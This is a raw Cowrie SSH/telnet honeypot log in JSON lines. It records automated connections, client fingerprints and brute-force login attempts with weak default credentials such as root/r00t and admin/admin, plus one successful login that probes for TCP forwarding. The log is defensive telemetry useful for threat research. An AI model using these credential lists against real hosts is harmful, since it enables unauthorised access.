{"eventid":"cowrie.session.closed","duration":58.91400718688965,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:50:17.727983Z","src_ip":"137.184.5.188","session":"de75703d0606","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":43814,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b4de96fa3c2","protocol":"ssh","message":"New connection: 147.45.199.80:43814 (159.203.135.109:22) [session: 9b4de96fa3c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:50:17.863407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:50:17.867488Z","src_ip":"147.45.199.80","session":"9b4de96fa3c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:50:17.965901Z","src_ip":"147.45.199.80","session":"9b4de96fa3c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"corazon","message":"login attempt [root/corazon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:50:18.268322Z","src_ip":"147.45.199.80","session":"9b4de96fa3c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:50:19.370388Z","src_ip":"147.45.199.80","session":"9b4de96fa3c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":50934,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d392624bdbe","protocol":"telnet","message":"New connection: 170.64.224.25:50934 (159.203.135.109:23) [session: 9d392624bdbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:51:13.067209Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":48410,"dst_ip":"10.17.0.5","dst_port":22,"session":"96e26b7f2105","protocol":"ssh","message":"New connection: 91.92.40.176:48410 (10.17.0.5:22) [session: 96e26b7f2105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:51:16.350144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:51:16.722869Z","src_ip":"91.92.40.176","session":"96e26b7f2105","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:51:16.725694Z","src_ip":"91.92.40.176","session":"96e26b7f2105","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"default","message":"login attempt [root/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:51:17.646265Z","src_ip":"91.92.40.176","session":"96e26b7f2105","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:51:18.991735Z","src_ip":"91.92.40.176","session":"96e26b7f2105","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":75.69925260543823,"message":"Connection lost after 75 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:51:21.719664Z","src_ip":"137.184.5.188","session":"a81bd4b45cff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.676997900009155,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:51:41.744053Z","src_ip":"170.64.224.25","session":"9d392624bdbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.197.250","src_port":55486,"dst_ip":"10.17.0.5","dst_port":22,"session":"3414a0ad692b","protocol":"ssh","message":"New connection: 192.169.197.250:55486 (10.17.0.5:22) [session: 3414a0ad692b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:52:03.904487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:52:03.909497Z","src_ip":"192.169.197.250","session":"3414a0ad692b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:52:03.974403Z","src_ip":"192.169.197.250","session":"3414a0ad692b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"thegraph","password":"graph999","message":"login attempt [thegraph/graph999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:52:04.173945Z","src_ip":"192.169.197.250","session":"3414a0ad692b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:52:05.257035Z","src_ip":"192.169.197.250","session":"3414a0ad692b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55732,"dst_ip":"159.203.135.109","dst_port":23,"session":"50dd6816fe16","protocol":"telnet","message":"New connection: 170.64.224.25:55732 (159.203.135.109:23) [session: 50dd6816fe16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:52:51.146868Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":37870,"dst_ip":"10.17.0.5","dst_port":22,"session":"55598eb2d5c8","protocol":"ssh","message":"New connection: 91.92.40.176:37870 (10.17.0.5:22) [session: 55598eb2d5c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:53:09.098242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:53:09.194845Z","src_ip":"91.92.40.176","session":"55598eb2d5c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:53:09.197299Z","src_ip":"91.92.40.176","session":"55598eb2d5c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r00t","message":"login attempt [root/r00t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:53:10.430236Z","src_ip":"91.92.40.176","session":"55598eb2d5c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:53:11.641411Z","src_ip":"91.92.40.176","session":"55598eb2d5c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":23986,"dst_ip":"10.17.0.5","dst_port":22,"session":"a65da5105101","protocol":"ssh","message":"New connection: 176.53.159.196:23986 (10.17.0.5:22) [session: a65da5105101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:53:36.821978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:53:36.825850Z","src_ip":"176.53.159.196","session":"a65da5105101","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:53:36.921039Z","src_ip":"176.53.159.196","session":"a65da5105101","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:53:37.209246Z","src_ip":"176.53.159.196","session":"a65da5105101","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:53:37.307225Z","session":"a65da5105101","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:53:37.413851Z","src_ip":"176.53.159.196","session":"a65da5105101","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:53:37.516021Z","src_ip":"176.53.159.196","session":"a65da5105101","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":58104,"dst_ip":"159.203.135.109","dst_port":23,"session":"a302c60025bf","protocol":"telnet","message":"New connection: 107.6.151.170:58104 (159.203.135.109:23) [session: a302c60025bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:53:41.720318Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":47582,"dst_ip":"159.203.135.109","dst_port":23,"session":"6967d4483fd7","protocol":"telnet","message":"New connection: 107.6.151.170:47582 (159.203.135.109:23) [session: 6967d4483fd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:53:47.996406Z"}
{"eventid":"cowrie.session.closed","duration":60.45053005218506,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:53:51.597307Z","src_ip":"170.64.224.25","session":"50dd6816fe16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":45984,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d5155e16291","protocol":"telnet","message":"New connection: 107.6.151.170:45984 (159.203.135.109:23) [session: 9d5155e16291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:53:59.189112Z"}
{"eventid":"cowrie.session.closed","duration":33.156206369400024,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:54:14.876348Z","src_ip":"107.6.151.170","session":"a302c60025bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.212262868881226,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:54:20.208580Z","src_ip":"107.6.151.170","session":"6967d4483fd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"183.91.11.226","src_port":54302,"dst_ip":"159.203.135.109","dst_port":23,"session":"443739156983","protocol":"telnet","message":"New connection: 183.91.11.226:54302 (159.203.135.109:23) [session: 443739156983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:54:39.714431Z"}
{"eventid":"cowrie.session.closed","duration":59.11343765258789,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:54:58.302453Z","src_ip":"107.6.151.170","session":"9d5155e16291","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":58448,"dst_ip":"10.17.0.5","dst_port":22,"session":"455f6de147cd","protocol":"ssh","message":"New connection: 91.92.40.176:58448 (10.17.0.5:22) [session: 455f6de147cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:55:02.982051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:55:03.073557Z","src_ip":"91.92.40.176","session":"455f6de147cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:55:03.079785Z","src_ip":"91.92.40.176","session":"455f6de147cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:55:04.212314Z","src_ip":"91.92.40.176","session":"455f6de147cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:55:05.429482Z","src_ip":"91.92.40.176","session":"455f6de147cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.54762244224548,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:55:18.261934Z","src_ip":"183.91.11.226","session":"443739156983","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":51778,"dst_ip":"159.203.135.109","dst_port":23,"session":"19adfdaae671","protocol":"telnet","message":"New connection: 107.6.151.170:51778 (159.203.135.109:23) [session: 19adfdaae671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:55:49.805192Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.75.182","src_port":51524,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a6420e93082","protocol":"ssh","message":"New connection: 162.240.75.182:51524 (159.203.135.109:22) [session: 5a6420e93082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:55:51.139136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:55:51.143626Z","src_ip":"162.240.75.182","session":"5a6420e93082","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-